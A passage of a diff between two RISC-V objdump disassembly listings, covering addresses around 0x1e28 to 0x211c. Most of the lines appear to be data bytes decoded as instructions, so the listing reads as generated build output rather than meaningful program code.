-    1e30:	0054df03          	lhu	t5,5(s1)
+    1e28:	03fc                	addi	a5,sp,460
+    1e2a:	2e15                	jal	215e <__stack_size+0x195e>
+    1e2c:	0000                	unimp
+    1e2e:	fd05                	bnez	a0,1d66 <__stack_size+0x1566>
+    1e30:	002cc903          	lbu	s2,2(s9)
     1e34:	0500                	addi	s0,sp,640
-    1e36:	03fc                	addi	a5,sp,460
-    1e38:	2d00                	fld	fs0,24(a0)
-    1e3a:	0000                	unimp
-    1e3c:	fd05                	bnez	a0,1d74 <__stack_size+0x1574>
-    1e3e:	002bfe03          	0x2bfe03
+    1e36:	03fe                	slli	t2,t2,0x1f
+    1e38:	00000b23          	sb	zero,22(zero) # 16 <__stack_size-0x7ea>
+    1e3c:	ff05                	bnez	a4,1d74 <__stack_size+0x1574>
+    1e3e:	007f7903          	0x7f7903
     1e42:	0500                	addi	s0,sp,640
-    1e44:	03fe                	slli	t2,t2,0x1f
-    1e46:	00000b9b          	0xb9b
-    1e4a:	ff05                	bnez	a4,1d82 <__stack_size+0x1582>
-    1e4c:	007ef603          	0x7ef603
+    1e44:	0480                	addi	s0,sp,576
+    1e46:	6c80                	flw	fs0,24(s1)
+    1e48:	0000                	unimp
+    1e4a:	8105                	srli	a0,a0,0x1
+    1e4c:	fa04                	fsw	fs1,48(a2)
+    1e4e:	0075                	c.nop	29
     1e50:	0500                	addi	s0,sp,640
-    1e52:	0480                	addi	s0,sp,576
-    1e54:	6be2                	flw	fs7,24(sp)
+    1e52:	0482                	c.slli64	s1
+    1e54:	89fe                	mv	s3,t6
     1e56:	0000                	unimp
-    1e58:	8105                	srli	a0,a0,0x1
-    1e5a:	5f04                	lw	s1,56(a4)
-    1e5c:	0075                	c.nop	29
-    1e5e:	0500                	addi	s0,sp,640
-    1e60:	0482                	c.slli64	s1
-    1e62:	0000895b          	0x895b
-    1e66:	8305                	srli	a4,a4,0x1
-    1e68:	e704                	fsw	fs1,8(a4)
-    1e6a:	0021                	c.nop	8
+    1e58:	8305                	srli	a4,a4,0x1
+    1e5a:	7d04                	flw	fs1,56(a0)
+    1e5c:	05000013          	li	zero,80
+    1e60:	0484                	addi	s1,sp,576
+    1e62:	4bb0                	lw	a2,80(a5)
+    1e64:	0000                	unimp
+    1e66:	8505                	srai	a0,a0,0x1
+    1e68:	4c04                	lw	s1,24(s0)
+    1e6a:	007f                	0x7f
     1e6c:	0500                	addi	s0,sp,640
-    1e6e:	0484                	addi	s1,sp,576
-    1e70:	4a69                	li	s4,26
+    1e6e:	0486                	slli	s1,s1,0x1
+    1e70:	340c                	fld	fa1,40(s0)
     1e72:	0000                	unimp
-    1e74:	8505                	srai	a0,a0,0x1
-    1e76:	c904                	sw	s1,16(a0)
-    1e78:	007e                	c.slli	zero,0x1f
+    1e74:	8705                	srai	a4,a4,0x1
+    1e76:	3104                	fld	fs1,32(a0)
+    1e78:	008a                	slli	ra,ra,0x2
     1e7a:	0500                	addi	s0,sp,640
-    1e7c:	0486                	slli	s1,s1,0x1
-    1e7e:	0000330f          	0x330f
-    1e82:	8705                	srai	a4,a4,0x1
-    1e84:	8e04                	0x8e04
-    1e86:	0089                	addi	ra,ra,2
+    1e7c:	0488                	addi	a0,sp,576
+    1e7e:	0000212f          	amoadd.w	sp,zero,(zero)
+    1e82:	8905                	andi	a0,a0,1
+    1e84:	3104                	fld	fs1,32(a0)
+    1e86:	007a                	c.slli	zero,0x1e
     1e88:	0500                	addi	s0,sp,640
-    1e8a:	0488                	addi	a0,sp,576
-    1e8c:	20a9                	jal	1ed6 <__stack_size+0x16d6>
+    1e8a:	048a                	slli	s1,s1,0x2
+    1e8c:	8e06                	mv	t3,ra
     1e8e:	0000                	unimp
-    1e90:	8905                	andi	a0,a0,1
-    1e92:	b804                	fsd	fs1,48(s0)
-    1e94:	0079                	c.nop	30
-    1e96:	0500                	addi	s0,sp,640
-    1e98:	048a                	slli	s1,s1,0x2
-    1e9a:	00008d53          	fadd.s	fs10,ft1,ft0,rne
-    1e9e:	8b05                	andi	a4,a4,1
-    1ea0:	8004                	0x8004
-    1ea2:	002c                	addi	a1,sp,8
-    1ea4:	0000                	unimp
-    1ea6:	0004                	0x4
-    1ea8:	0500                	addi	s0,sp,640
-    1eaa:	a408                	fsd	fa0,8(s0)
-    1eac:	0059                	c.nop	22
-    1eae:	0500                	addi	s0,sp,640
-    1eb0:	003ae90f          	0x3ae90f
-    1eb4:	0500                	addi	s0,sp,640
-    1eb6:	2110                	fld	fa2,0(a0)
-    1eb8:	0070                	addi	a2,sp,12
-    1eba:	0000                	unimp
-    1ebc:	0004                	0x4
-    1ebe:	0500                	addi	s0,sp,640
-    1ec0:	0054931b          	0x54931b
-    1ec4:	0500                	addi	s0,sp,640
-    1ec6:	b61f 000b 0500      	0x500000bb61f
-    1ecc:	e921                	bnez	a0,1f1c <__stack_size+0x171c>
-    1ece:	003a                	c.slli	zero,0xe
-    1ed0:	0500                	addi	s0,sp,640
-    1ed2:	2122                	fld	ft2,8(sp)
-    1ed4:	0070                	addi	a2,sp,12
-    1ed6:	0000                	unimp
-    1ed8:	0004                	0x4
-    1eda:	0600                	addi	s0,sp,768
-    1edc:	2122                	fld	ft2,8(sp)
-    1ede:	0008                	0x8
-    1ee0:	0500                	addi	s0,sp,640
-    1ee2:	001b3b27          	fsd	ft1,22(s6) # fffe0016 <_heap_end+0x7ffd1816>
-    1ee6:	0000                	unimp
-    1ee8:	0004                	0x4
-    1eea:	0500                	addi	s0,sp,640
-    1eec:	000d212f          	amoadd.w	sp,zero,(s10)
-    1ef0:	0500                	addi	s0,sp,640
-    1ef2:	0046ce43          	fmadd.s	ft8,fa3,ft4,ft0,rmm
-    1ef6:	0000                	unimp
-    1ef8:	0004                	0x4
-    1efa:	0500                	addi	s0,sp,640
-    1efc:	8e02                	jr	t3
-    1efe:	00a1                	addi	ra,ra,8
-    1f00:	0500                	addi	s0,sp,640
-    1f02:	da0d                	beqz	a2,1e34 <__stack_size+0x1634>
-    1f04:	008a                	slli	ra,ra,0x2
-    1f06:	0500                	addi	s0,sp,640
-    1f08:	fd15                	bnez	a0,1e44 <__stack_size+0x1644>
-    1f0a:	0031                	c.nop	12
-    1f0c:	0000                	unimp
-    1f0e:	0004                	0x4
-    1f10:	0500                	addi	s0,sp,640
-    1f12:	4f51                	li	t5,20
-    1f14:	0054                	addi	a3,sp,4
-    1f16:	0500                	addi	s0,sp,640
-    1f18:	fe52                	fsw	fs4,60(sp)
-    1f1a:	0090                	addi	a2,sp,64
-    1f1c:	0500                	addi	s0,sp,640
-    1f1e:	00225a53          	fadd.s	fs4,ft4,ft2,unknown
-    1f22:	0500                	addi	s0,sp,640
-    1f24:	6d54                	flw	fa3,28(a0)
-    1f26:	007a                	c.slli	zero,0x1e
-    1f28:	0500                	addi	s0,sp,640
-    1f2a:	e056                	fsw	fs5,0(sp)
-    1f2c:	009c                	addi	a5,sp,64
-    1f2e:	0500                	addi	s0,sp,640
-    1f30:	00791d57          	0x791d57
-    1f34:	0500                	addi	s0,sp,640
-    1f36:	2a58                	fld	fa4,144(a2)
-    1f38:	05000053          	0x5000053
-    1f3c:	6959                	lui	s2,0x16
-    1f3e:	0085                	addi	ra,ra,1
-    1f40:	0500                	addi	s0,sp,640
-    1f42:	cd5a                	sw	s6,152(sp)
-    1f44:	0052                	c.slli	zero,0x14
-    1f46:	0500                	addi	s0,sp,640
-    1f48:	0074995b          	0x74995b
-    1f4c:	0500                	addi	s0,sp,640
-    1f4e:	3e5c                	fld	fa5,184(a2)
-    1f50:	006c                	addi	a1,sp,12
-    1f52:	0500                	addi	s0,sp,640
-    1f54:	ee5d                	bnez	a2,2012 <__stack_size+0x1812>
-    1f56:	0500003b          	0x500003b
-    1f5a:	925e                	add	tp,tp,s7
-    1f5c:	005a                	c.slli	zero,0x16
-    1f5e:	0500                	addi	s0,sp,640
-    1f60:	675f 0006 0500      	0x5000006675f
-    1f66:	0029d663          	bge	s3,sp,1f72 <__stack_size+0x1772>
-    1f6a:	0500                	addi	s0,sp,640
-    1f6c:	c566                	sw	s9,136(sp)
-    1f6e:	05000097          	auipc	ra,0x5000
-    1f72:	00028967          	jalr	s2,t0
-    1f76:	0500                	addi	s0,sp,640
-    1f78:	3472                	fld	fs0,312(sp)
-    1f7a:	05000097          	auipc	ra,0x5000
-    1f7e:	00954473          	0x954473
-    1f82:	0500                	addi	s0,sp,640
-    1f84:	5174                	lw	a3,100(a0)
-    1f86:	0045                	c.nop	17
-    1f88:	0500                	addi	s0,sp,640
-    1f8a:	d176                	sw	t4,160(sp)
-    1f8c:	0056                	c.slli	zero,0x15
-    1f8e:	0500                	addi	s0,sp,640
-    1f90:	002bda7b          	0x2bda7b
+    1e90:	8b05                	andi	a4,a4,1
+    1e92:	6b04                	flw	fs1,16(a4)
+    1e94:	002d                	c.nop	11
+    1e96:	0000                	unimp
+    1e98:	0004                	0x4
+    1e9a:	0500                	addi	s0,sp,640
+    1e9c:	bb08                	fsd	fa0,48(a4)
+    1e9e:	005e                	c.slli	zero,0x17
+    1ea0:	0500                	addi	s0,sp,640
+    1ea2:	003bff0f          	0x3bff0f
+    1ea6:	0500                	addi	s0,sp,640
+    1ea8:	a210                	fsd	fa2,0(a2)
+    1eaa:	0070                	addi	a2,sp,12
+    1eac:	0000                	unimp
+    1eae:	0004                	0x4
+    1eb0:	0500                	addi	s0,sp,640
+    1eb2:	0035b11b          	0x35b11b
+    1eb6:	0500                	addi	s0,sp,640
+    1eb8:	3e1f 000b 0500      	0x500000b3e1f
+    1ebe:	ff21                	bnez	a4,1e16 <__stack_size+0x1616>
+    1ec0:	0500003b          	0x500003b
+    1ec4:	a222                	fsd	fs0,256(sp)
+    1ec6:	0070                	addi	a2,sp,12
+    1ec8:	0000                	unimp
+    1eca:	0004                	0x4
+    1ecc:	0600                	addi	s0,sp,768
+    1ece:	d722                	sw	s0,172(sp)
+    1ed0:	05000007          	0x5000007
+    1ed4:	0044dc27          	0x44dc27
+    1ed8:	0000                	unimp
+    1eda:	0004                	0x4
+    1edc:	0500                	addi	s0,sp,640
+    1ede:	000cc62f          	0xcc62f
+    1ee2:	0500                	addi	s0,sp,640
+    1ee4:	0047eb43          	fmadd.s	fs6,fa5,ft4,ft0,unknown
+    1ee8:	0000                	unimp
+    1eea:	0004                	0x4
+    1eec:	0500                	addi	s0,sp,640
+    1eee:	a702                	fsd	ft0,392(sp)
+    1ef0:	00a1                	addi	ra,ra,8
+    1ef2:	0500                	addi	s0,sp,640
+    1ef4:	8d0d                	sub	a0,a0,a1
+    1ef6:	0500008b          	0x500008b
+    1efa:	0015                	c.nop	5
+    1efc:	00000033          	add	zero,zero,zero
+    1f00:	0004                	0x4
+    1f02:	0500                	addi	s0,sp,640
+    1f04:	7551                	lui	a0,0xffff4
+    1f06:	0055                	c.nop	21
+    1f08:	0500                	addi	s0,sp,640
+    1f0a:	b352                	fsd	fs4,416(sp)
+    1f0c:	0091                	addi	ra,ra,4
+    1f0e:	0500                	addi	s0,sp,640
+    1f10:	0022e253          	fadd.s	ft4,ft5,ft2,unknown
+    1f14:	0500                	addi	s0,sp,640
+    1f16:	e654                	fsw	fa3,12(a2)
+    1f18:	007a                	c.slli	zero,0x1e
+    1f1a:	0500                	addi	s0,sp,640
+    1f1c:	5d56                	lw	s10,116(sp)
+    1f1e:	009d                	addi	ra,ra,7
+    1f20:	0500                	addi	s0,sp,640
+    1f22:	00799657          	0x799657
+    1f26:	0500                	addi	s0,sp,640
+    1f28:	8158                	0x8158
+    1f2a:	0054                	addi	a3,sp,4
+    1f2c:	0500                	addi	s0,sp,640
+    1f2e:	e559                	bnez	a0,1fbc <__stack_size+0x17bc>
+    1f30:	0085                	addi	ra,ra,1
+    1f32:	0500                	addi	s0,sp,640
+    1f34:	275a                	fld	fa4,400(sp)
+    1f36:	0054                	addi	a3,sp,4
+    1f38:	0500                	addi	s0,sp,640
+    1f3a:	0075345b          	0x75345b
+    1f3e:	0500                	addi	s0,sp,640
+    1f40:	dc5c                	sw	a5,60(s0)
+    1f42:	006c                	addi	a1,sp,12
+    1f44:	0500                	addi	s0,sp,640
+    1f46:	fb5d                	bnez	a4,1efc <__stack_size+0x16fc>
+    1f48:	003c                	addi	a5,sp,8
+    1f4a:	0500                	addi	s0,sp,640
+    1f4c:	875e                	mv	a4,s7
+    1f4e:	002d                	c.nop	11
+    1f50:	0500                	addi	s0,sp,640
+    1f52:	dd5f 0005 0500      	0x5000005dd5f
+    1f58:	002aa263          	0x2aa263
+    1f5c:	0500                	addi	s0,sp,640
+    1f5e:	7466                	flw	fs0,120(sp)
+    1f60:	0098                	addi	a4,sp,64
+    1f62:	0500                	addi	s0,sp,640
+    1f64:	00025467          	0x25467
+    1f68:	0500                	addi	s0,sp,640
+    1f6a:	e372                	fsw	ft8,132(sp)
+    1f6c:	05000097          	auipc	ra,0x5000
+    1f70:	0095f373          	csrrci	t1,0x9,11
+    1f74:	0500                	addi	s0,sp,640
+    1f76:	6374                	flw	fa3,68(a4)
+    1f78:	0046                	c.slli	zero,0x11
+    1f7a:	0500                	addi	s0,sp,640
+    1f7c:	0e76                	slli	t3,t3,0x1d
+    1f7e:	0058                	addi	a4,sp,4
+    1f80:	0500                	addi	s0,sp,640
+    1f82:	002ca57b          	0x2ca57b
+    1f86:	0500                	addi	s0,sp,640
+    1f88:	0181                	addi	gp,gp,0
+    1f8a:	5592                	lw	a1,36(sp)
+    1f8c:	0000                	unimp
+    1f8e:	8705                	srai	a4,a4,0x1
+    1f90:	4b01                	li	s6,0
+    1f92:	009d                	addi	ra,ra,7
     1f94:	0500                	addi	s0,sp,640
-    1f96:	0181                	addi	gp,gp,0
-    1f98:	00005477          	0x5477
-    1f9c:	8705                	srai	a4,a4,0x1
-    1f9e:	ce01                	beqz	a2,1fb6 <__stack_size+0x17b6>
-    1fa0:	009c                	addi	a5,sp,64
-    1fa2:	0500                	addi	s0,sp,640
-    1fa4:	018d                	addi	gp,gp,3
-    1fa6:	1a40                	addi	s0,sp,308
+    1f96:	018d                	addi	gp,gp,3
+    1f98:	0000198f          	0x198f
+    1f9c:	9105                	srli	a0,a0,0x21
+    1f9e:	6a01                	0x6a01
+    1fa0:	001f 0500 019e      	0x19e0500001f
+    1fa6:	0ddd                	addi	s11,s11,23
     1fa8:	0000                	unimp
-    1faa:	9105                	srli	a0,a0,0x21
-    1fac:	3401                	jal	19ac <__stack_size+0x11ac>
-    1fae:	001f 0500 019e      	0x19e0500001f
-    1fb4:	00000e23          	sb	zero,28(zero) # 1c <__stack_size-0x7e4>
-    1fb8:	a005                	j	1fd8 <__stack_size+0x17d8>
-    1fba:	2c01                	jal	21ca <__stack_size+0x19ca>
-    1fbc:	009e                	slli	ra,ra,0x7
+    1faa:	a005                	j	1fca <__stack_size+0x17ca>
+    1fac:	8e01                	sub	a2,a2,s0
+    1fae:	009e                	slli	ra,ra,0x7
+    1fb0:	0500                	addi	s0,sp,640
+    1fb2:	01a1                	addi	gp,gp,8
+    1fb4:	000015b7          	lui	a1,0x1
+    1fb8:	a205                	j	20d8 <__stack_size+0x18d8>
+    1fba:	9f01                	0x9f01
+    1fbc:	0000                	unimp
     1fbe:	0500                	addi	s0,sp,640
-    1fc0:	01a1                	addi	gp,gp,8
-    1fc2:	1668                	addi	a0,sp,812
-    1fc4:	0000                	unimp
-    1fc6:	a205                	j	20e6 <__stack_size+0x18e6>
-    1fc8:	9f01                	0x9f01
-    1fca:	0000                	unimp
+    1fc0:	01a4                	addi	s1,sp,200
+    1fc2:	00004503          	lbu	a0,0(zero) # 0 <__stack_size-0x800>
+    1fc6:	a505                	j	25e6 <__stack_size+0x1de6>
+    1fc8:	a401                	j	21c8 <__stack_size+0x19c8>
+    1fca:	0082                	c.slli64	ra
     1fcc:	0500                	addi	s0,sp,640
-    1fce:	01a4                	addi	s1,sp,200
-    1fd0:	000043fb          	0x43fb
-    1fd4:	a505                	j	25f4 <__stack_size+0x1df4>
-    1fd6:	2101                	jal	23d6 <__stack_size+0x1bd6>
-    1fd8:	0082                	c.slli64	ra
-    1fda:	0500                	addi	s0,sp,640
-    1fdc:	01a6                	slli	gp,gp,0x9
-    1fde:	a165                	j	2486 <__stack_size+0x1c86>
+    1fce:	01a6                	slli	gp,gp,0x9
+    1fd0:	a17e                	fsd	ft11,128(sp)
+    1fd2:	0000                	unimp
+    1fd4:	ae05                	j	2304 <__stack_size+0x1b04>
+    1fd6:	e801                	bnez	s0,1fe6 <__stack_size+0x17e6>
+    1fd8:	05000007          	0x5000007
+    1fdc:	04e9                	addi	s1,s1,26
+    1fde:	7ff6                	flw	ft11,124(sp)
     1fe0:	0000                	unimp
-    1fe2:	ae05                	j	2312 <__stack_size+0x1b12>
-    1fe4:	3201                	jal	18e4 <__stack_size+0x10e4>
-    1fe6:	0008                	0x8
+    1fe2:	eb05                	bnez	a4,2012 <__stack_size+0x1812>
+    1fe4:	da04                	sw	s1,48(a2)
+    1fe6:	0081                	addi	ra,ra,0
     1fe8:	0500                	addi	s0,sp,640
-    1fea:	04e9                	addi	s1,s1,26
-    1fec:	00007f73          	csrrci	t5,ustatus,0
-    1ff0:	eb05                	bnez	a4,2020 <__stack_size+0x1820>
-    1ff2:	5704                	lw	s1,40(a4)
-    1ff4:	0081                	addi	ra,ra,0
+    1fea:	058e                	slli	a1,a1,0x3
+    1fec:	4ab2                	lw	s5,12(sp)
+    1fee:	0000                	unimp
+    1ff0:	ab05                	j	2520 <__stack_size+0x1d20>
+    1ff2:	ce05                	beqz	a2,202a <__stack_size+0x182a>
+    1ff4:	00a1                	addi	ra,ra,8
     1ff6:	0500                	addi	s0,sp,640
-    1ff8:	058e                	slli	a1,a1,0x3
-    1ffa:	00004973          	0x4973
-    1ffe:	ab05                	j	252e <__stack_size+0x1d2e>
-    2000:	b505                	j	1e20 <__stack_size+0x1620>
-    2002:	00a1                	addi	ra,ra,8
-    2004:	0500                	addi	s0,sp,640
-    2006:	752505cf          	0x752505cf
+    1ff8:	75c005cf          	0x75c005cf
+    1ffc:	0000                	unimp
+    1ffe:	d005                	beqz	s0,1f1e <__stack_size+0x171e>
+    2000:	4d05                	li	s10,1
+    2002:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    2006:	05d1                	addi	a1,a1,20
+    2008:	324c                	fld	fa1,160(a2)
     200a:	0000                	unimp
-    200c:	d005                	beqz	s0,1f2c <__stack_size+0x172c>
-    200e:	c005                	beqz	s0,202e <__stack_size+0x182e>
-    2010:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    2014:	05d1                	addi	a1,a1,20
-    2016:	0331                	addi	t1,t1,12
+    200c:	d205                	beqz	a2,1f2c <__stack_size+0x172c>
+    200e:	8a05                	andi	a2,a2,1
+    2010:	0080                	addi	s0,sp,64
+    2012:	0500                	addi	s0,sp,640
+    2014:	05d6                	slli	a1,a1,0x15
+    2016:	033a                	slli	t1,t1,0xe
     2018:	0000                	unimp
-    201a:	d205                	beqz	a2,1f3a <__stack_size+0x173a>
-    201c:	0705                	addi	a4,a4,1
-    201e:	0080                	addi	s0,sp,64
-    2020:	0500                	addi	s0,sp,640
-    2022:	05d6                	slli	a1,a1,0x15
-    2024:	03ad                	addi	t2,t2,11
+    201a:	d705                	beqz	a4,1f42 <__stack_size+0x1742>
+    201c:	2205                	jal	213c <__stack_size+0x193c>
+    201e:	05000013          	li	zero,80
+    2022:	05d8                	addi	a4,sp,708
+    2024:	99d5                	andi	a1,a1,-11
     2026:	0000                	unimp
-    2028:	d705                	beqz	a4,1f50 <__stack_size+0x1750>
-    202a:	cf05                	beqz	a4,2062 <__stack_size+0x1862>
-    202c:	05000013          	li	zero,80
-    2030:	05d8                	addi	a4,sp,708
-    2032:	9932                	add	s2,s2,a2
+    2028:	db05                	beqz	a4,1f58 <__stack_size+0x1758>
+    202a:	f205                	bnez	a2,1f4a <__stack_size+0x174a>
+    202c:	0031                	c.nop	12
+    202e:	0500                	addi	s0,sp,640
+    2030:	05dc                	addi	a5,sp,708
+    2032:	055e                	slli	a0,a0,0x17
     2034:	0000                	unimp
-    2036:	db05                	beqz	a4,1f66 <__stack_size+0x1766>
-    2038:	fe05                	bnez	a2,1f70 <__stack_size+0x1770>
-    203a:	0030                	addi	a2,sp,8
+    2036:	dd05                	beqz	a0,1f6e <__stack_size+0x176e>
+    2038:	1505                	addi	a0,a0,-31
+    203a:	0020                	addi	s0,sp,8
     203c:	0500                	addi	s0,sp,640
-    203e:	05dc                	addi	a5,sp,708
-    2040:	05e8                	addi	a0,sp,716
+    203e:	05ff                	0x5ff
+    2040:	91dd                	srli	a1,a1,0x37
     2042:	0000                	unimp
-    2044:	dd05                	beqz	a0,1f7c <__stack_size+0x177c>
-    2046:	df05                	beqz	a4,1f7e <__stack_size+0x177e>
-    2048:	001f 0500 05ff      	0x5ff0500001f
-    204e:	9128                	0x9128
-    2050:	0000                	unimp
-    2052:	8005                	srli	s0,s0,0x1
-    2054:	b306                	fsd	ft1,416(sp)
-    2056:	0060                	addi	s0,sp,12
-    2058:	0500                	addi	s0,sp,640
-    205a:	0686                	slli	a3,a3,0x1
-    205c:	54ee                	lw	s1,248(sp)
-    205e:	0000                	unimp
-    2060:	8e05                	sub	a2,a2,s1
-    2062:	6106                	flw	ft2,64(sp)
-    2064:	0020                	addi	s0,sp,8
-    2066:	0000                	unimp
-    2068:	0004                	0x4
-    206a:	0500                	addi	s0,sp,640
-    206c:	e90d                	bnez	a0,209e <__stack_size+0x189e>
-    206e:	003a                	c.slli	zero,0xe
-    2070:	0500                	addi	s0,sp,640
-    2072:	a80e                	fsd	ft3,16(sp)
-    2074:	007d                	c.nop	31
-    2076:	0500                	addi	s0,sp,640
-    2078:	0070210f          	0x70210f
-    207c:	0000                	unimp
-    207e:	0004                	0x4
-    2080:	0500                	addi	s0,sp,640
-    2082:	a608                	fsd	fa0,8(a2)
-    2084:	0052                	c.slli	zero,0x14
-    2086:	0600                	addi	s0,sp,768
-    2088:	330d                	jal	1daa <__stack_size+0x15aa>
-    208a:	0001                	nop
-    208c:	0500                	addi	s0,sp,640
-    208e:	9410                	0x9410
-    2090:	0042                	c.slli	zero,0x10
-    2092:	0000                	unimp
-    2094:	0004                	0x4
-    2096:	0500                	addi	s0,sp,640
-    2098:	5c38                	lw	a4,120(s0)
-    209a:	0060                	addi	s0,sp,12
-    209c:	0500                	addi	s0,sp,640
-    209e:	073c                	addi	a5,sp,904
-    20a0:	05000093          	li	ra,80
-    20a4:	bb3d                	j	1de2 <__stack_size+0x15e2>
-    20a6:	05000063          	beq	zero,a6,20e6 <__stack_size+0x18e6>
-    20aa:	006c0c3f 8a430500 	0x8a430500006c0c3f
-    20b2:	000c                	0xc
-    20b4:	0500                	addi	s0,sp,640
-    20b6:	01a8                	addi	a0,sp,200
-    20b8:	0922                	slli	s2,s2,0x8
-    20ba:	0000                	unimp
-    20bc:	0400                	addi	s0,sp,512
-    20be:	0000                	unimp
-    20c0:	2605                	jal	23e0 <__stack_size+0x1be0>
-    20c2:	0d0e                	slli	s10,s10,0x3
-    20c4:	0000                	unimp
-    20c6:	2805                	jal	20f6 <__stack_size+0x18f6>
-    20c8:	00002dd7          	0x2dd7
-    20cc:	2a05                	jal	21fc <__stack_size+0x19fc>
-    20ce:	8021                	srli	s0,s0,0x8
-    20d0:	0000                	unimp
-    20d2:	2c05                	jal	2302 <__stack_size+0x1b02>
-    20d4:	00007b2b          	0x7b2b
-    20d8:	2d05                	jal	2708 <__stack_size+0x1f08>
-    20da:	6259                	lui	tp,0x16
-    20dc:	0000                	unimp
-    20de:	2e05                	jal	240e <__stack_size+0x1c0e>
-    20e0:	495a                	lw	s2,148(sp)
-    20e2:	0000                	unimp
-    20e4:	2f05                	jal	2814 <__stack_size+0x2014>
-    20e6:	00007a8f          	0x7a8f
-    20ea:	3005                	jal	190a <__stack_size+0x110a>
-    20ec:	00009b5b          	0x9b5b
-    20f0:	3205                	jal	1a10 <__stack_size+0x1210>
-    20f2:	9ecd                	0x9ecd
-    20f4:	0000                	unimp
-    20f6:	3405                	jal	1b16 <__stack_size+0x1316>
-    20f8:	2889                	jal	214a <__stack_size+0x194a>
-    20fa:	0000                	unimp
-    20fc:	3505                	jal	1f1c <__stack_size+0x171c>
-    20fe:	0000883b          	0x883b
-    2102:	3605                	jal	1c22 <__stack_size+0x1422>
-    2104:	8506                	mv	a0,ra
-    2106:	0000                	unimp
-    2108:	3805                	jal	1938 <__stack_size+0x1138>
-    210a:	1b9f 0000 3905      	0x390500001b9f
-    2110:	0c7a                	slli	s8,s8,0x1e
-    2112:	0000                	unimp
-    2114:	3a05                	jal	1a44 <__stack_size+0x1244>
-    2116:	04a0                	addi	s0,sp,584
-    2118:	0000                	unimp
-    211a:	3b05                	jal	1e4a <__stack_size+0x164a>
-    211c:	78f9                	lui	a7,0xffffe
-    211e:	0000                	unimp
-    2120:	3c05                	jal	1b50 <__stack_size+0x1350>
-    2122:	8278                	0x8278
-    2124:	0000                	unimp
-    2126:	3d05                	jal	1f56 <__stack_size+0x1756>
-    2128:	00003d3f 46c03e05 	0x46c03e0500003d3f
-    2130:	0000                	unimp
-    2132:	3f05                	jal	2062 <__stack_size+0x1862>
-    2134:	00004bc7          	fmsub.s	fs7,ft0,ft0,ft0,rmm
-    2138:	0400                	addi	s0,sp,512
-    213a:	0000                	unimp
-    213c:	0905                	addi	s2,s2,1
-    213e:	7cc8                	flw	fa0,60(s1)
+    2044:	8005                	srli	s0,s0,0x1
+    2046:	b006                	fsd	ft1,32(sp)
+    2048:	0061                	c.nop	24
+    204a:	0500                	addi	s0,sp,640
+    204c:	0686                	slli	a3,a3,0x1
+    204e:	00005607          	0x5607
+    2052:	8e05                	sub	a2,a2,s1
+    2054:	f506                	fsw	ft1,168(sp)
+    2056:	0020                	addi	s0,sp,8
+    2058:	0000                	unimp
+    205a:	0004                	0x4
+    205c:	0500                	addi	s0,sp,640
+    205e:	ff0d                	bnez	a4,1f98 <__stack_size+0x1798>
+    2060:	0500003b          	0x500003b
+    2064:	2b0e                	fld	fs6,192(sp)
+    2066:	007e                	c.slli	zero,0x1f
+    2068:	0500                	addi	s0,sp,640
+    206a:	0070a20f          	0x70a20f
+    206e:	0000                	unimp
+    2070:	0004                	0x4
+    2072:	0500                	addi	s0,sp,640
+    2074:	c808                	sw	a0,16(s0)
+    2076:	06000053          	fadd.q	ft0,ft0,ft0,rne
+    207a:	100d                	c.nop	-29
+    207c:	0001                	nop
+    207e:	0500                	addi	s0,sp,640
+    2080:	9310                	0x9310
+    2082:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    2086:	0004                	0x4
+    2088:	0500                	addi	s0,sp,640
+    208a:	5938                	lw	a4,112(a0)
+    208c:	0061                	c.nop	24
+    208e:	0500                	addi	s0,sp,640
+    2090:	a33c                	fsd	fa5,64(a4)
+    2092:	05000093          	li	ra,80
+    2096:	7c3d                	lui	s8,0xfffef
+    2098:	0064                	addi	s1,sp,12
+    209a:	0500                	addi	s0,sp,640
+    209c:	006caa3f 18430500 	0x18430500006caa3f
+    20a4:	000c                	0xc
+    20a6:	0500                	addi	s0,sp,640
+    20a8:	01a8                	addi	a0,sp,200
+    20aa:	08ce                	slli	a7,a7,0x13
+    20ac:	0000                	unimp
+    20ae:	0400                	addi	s0,sp,512
+    20b0:	0000                	unimp
+    20b2:	2605                	jal	23d2 <__stack_size+0x1bd2>
+    20b4:	00000cb3          	add	s9,zero,zero
+    20b8:	2805                	jal	20e8 <__stack_size+0x18e8>
+    20ba:	00002ecb          	fnmsub.s	ft9,ft0,ft0,ft0,rdn
+    20be:	2a05                	jal	21ee <__stack_size+0x19ee>
+    20c0:	80a4                	0x80a4
+    20c2:	0000                	unimp
+    20c4:	2c05                	jal	22f4 <__stack_size+0x1af4>
+    20c6:	7ba4                	flw	fs1,112(a5)
+    20c8:	0000                	unimp
+    20ca:	2d05                	jal	26fa <__stack_size+0x1efa>
+    20cc:	6324                	flw	fs1,64(a4)
+    20ce:	0000                	unimp
+    20d0:	2e05                	jal	2400 <__stack_size+0x1c00>
+    20d2:	4a99                	li	s5,6
+    20d4:	0000                	unimp
+    20d6:	2f05                	jal	2806 <__stack_size+0x2006>
+    20d8:	7b08                	flw	fa0,48(a4)
+    20da:	0000                	unimp
+    20dc:	3005                	jal	18fc <__stack_size+0x10fc>
+    20de:	9bd8                	0x9bd8
+    20e0:	0000                	unimp
+    20e2:	3205                	jal	1a02 <__stack_size+0x1202>
+    20e4:	00009f2f          	0x9f2f
+    20e8:	3405                	jal	1b08 <__stack_size+0x1308>
+    20ea:	294d                	jal	259c <__stack_size+0x1d9c>
+    20ec:	0000                	unimp
+    20ee:	3505                	jal	1f0e <__stack_size+0x170e>
+    20f0:	88de                	mv	a7,s7
+    20f2:	0000                	unimp
+    20f4:	3605                	jal	1c14 <__stack_size+0x1414>
+    20f6:	8582                	jr	a1
+    20f8:	0000                	unimp
+    20fa:	3805                	jal	192a <__stack_size+0x112a>
+    20fc:	1ad8                	addi	a4,sp,372
+    20fe:	0000                	unimp
+    2100:	3905                	jal	1d30 <__stack_size+0x1530>
+    2102:	0c08                	addi	a0,sp,528
+    2104:	0000                	unimp
+    2106:	3a05                	jal	1a36 <__stack_size+0x1236>
+    2108:	00003953          	fadd.s	fs2,ft0,ft0,rup
+    210c:	3b05                	jal	1e3c <__stack_size+0x163c>
+    210e:	00007983          	0x7983
+    2112:	3c05                	jal	1b42 <__stack_size+0x1342>
+    2114:	82fe                	mv	t0,t6
+    2116:	0000                	unimp
+    2118:	3d05                	jal	1f48 <__stack_size+0x1748>
+    211a:	3e4a                	fld	ft8,176(sp)
+    211c:	0000                	unimp
